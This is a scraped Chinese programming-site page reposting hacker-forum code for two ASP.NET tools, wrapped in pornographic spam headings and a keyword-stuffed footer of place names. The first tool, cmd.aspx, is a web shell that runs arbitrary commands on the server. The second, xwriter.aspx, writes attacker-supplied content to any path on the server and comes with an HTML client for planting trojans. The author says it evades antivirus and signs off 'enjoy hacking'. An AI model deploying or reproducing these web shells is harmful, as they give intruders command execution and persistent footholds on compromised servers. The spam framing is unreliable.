国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > .NET > 正文

兩個有用的ASP.Net小程序

2024-07-10 13:12:06
字體:
供稿:網(wǎng)友
菜鳥學堂:

  一、cmd.aspx

  在邪惡八進制論壇(ps:有誰知道為什么最近幾天這論壇打不開?。┯信笥烟岢鰓ebadmin執(zhí)行命令不能帶參數(shù)的問題,偶找了個bt主機來試試,果然有問題,就把以前那個cmd.aspx改了改,就請湊合著用先。webadmin 2.x的下個版本將修復這個問題.

  把一下代碼復制保存為一.aspx文件即可:

<%@ page language="vb" debug="true" %><%@ import namespace="system.io" %><%@ import namespace="system.diagnostics" %><script runat="server"> 

     sub runcmd(src as object, e as eventargs)

            dim myprocess as new process() 

           dim myprocessstartinfo as new processstartinfo(xpath.text)            myprocessstartinfo.useshellexecute = false            myprocessstartinfo.redirectstandardoutput = true 

           myprocess.startinfo = myprocessstartinfo  

          myprocessstartinfo.arguments=xcmd.text 

           myprocess.start() 

           dim mystreamreader as streamreader = myprocess.standardoutput

            dim mystring as string = mystreamreader.readtoend()

            myprocess.close()

            mystring=replace(mystring,"<","&lt;")

            mystring=replace(mystring,">","&gt;")

            result.text= vbcrlf & "<pre>" & mystring & "</pre>"

    end sub

</script>

<html>

<head>

    <title>asp.net shell for webadmin2.x final</title>

    <meta http-equiv="content-type" content="text/html; charset=gb2312" />

</head>

<body>

    <form runat="server">

        <asp:label id="l_p" runat="server" width="80px">program</asp:label>

        <asp:textbox id="xpath" runat="server" width="300px">c:/windows/system32/cmd.exe</asp:textbox> 

       <br />

        <asp:label id="l_a" runat="server" width="80px">arguments</asp:label> 

       <asp:textbox id="xcmd" runat="server" width="300px" text="/c net user">/c net user</asp:textbox>

        <br />

        <asp:button id="button" runat="server" width="100px" text="run"></asp:button>

        <p>

            <asp:label id="result" runat="server"></asp:label> 

       </p> 

   </form>

</body>

</html>

  二、xwriter.aspx

  記得有個asp下的小馬就是利用fso把提交的文本信息保存為一個文件,雖然體積比eval大些但是代碼完全合法,殺毒軟件也不會找茬的。呵呵,以下代碼就是在asp.net實現(xiàn)這功能(自己拿去改改還可以插入aspx文件哦):

 <%@ page language="vb" %>

<%@ import namespace="system.io" %>

<script runat="server">

sub page_load(sender as object, e as eventargs)

    dim mywrite as new streamwriter(request.form("path"), true, encoding.default)    mywrite.write(request.form("content"))

    mywrite.close

    response.write("done!")end sub

</script>

以下是客戶端,復制下來保存為htm文件:


 <!doctype html public "-//w3c//dtd html 4.01 transitional//en""http://www.w3.org/tr/html4/loose.dtd">

<html>

<head>

<meta http-equiv="content-type" content="text/html; charset=gb2312">

<title>xwriter.net by lake2</title>

</head>

<body>

<form name="form1" method="post" onsubmit="twosubmit(this);">

<div align="center">url:

  <input name="url" type="text" value="http://www.xxx.com/a.aspx" size="60">

  <br>

  path:

  <input name="path" type="text" id="path" value="e:/myweb/myown/a.txt" size="60">

  <br>

  <textarea name=content cols=120 rows=10 id="content" width=45>填入生成木馬的內(nèi)容,最好是全英文</textarea>

  <br>

  <center>

  <br>

  <input type=submit value=提交>

  <br>

  enjoy hacking !!!!!! </div>

</body></html>

<script language="javascript">

function twosubmit(form1){

var url = document.form1.url.value;

form1.action=url;

form1.submit();

}

</script>

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 手游| 灵石县| 望都县| 永平县| 沾化县| 沁阳市| 大方县| 木兰县| 巍山| 濮阳市| 昭觉县| 时尚| 玛沁县| 名山县| 德钦县| 宁津县| 浮梁县| 泗阳县| 宽甸| 浦北县| 广安市| 临海市| 威远县| 阿鲁科尔沁旗| 昭平县| 永寿县| 屯留县| 竹山县| 江口县| 仁寿县| 临桂县| 神木县| 白水县| 利辛县| 溧水县| 当雄县| 景泰县| 华池县| 屏东县| 万荣县| 克什克腾旗|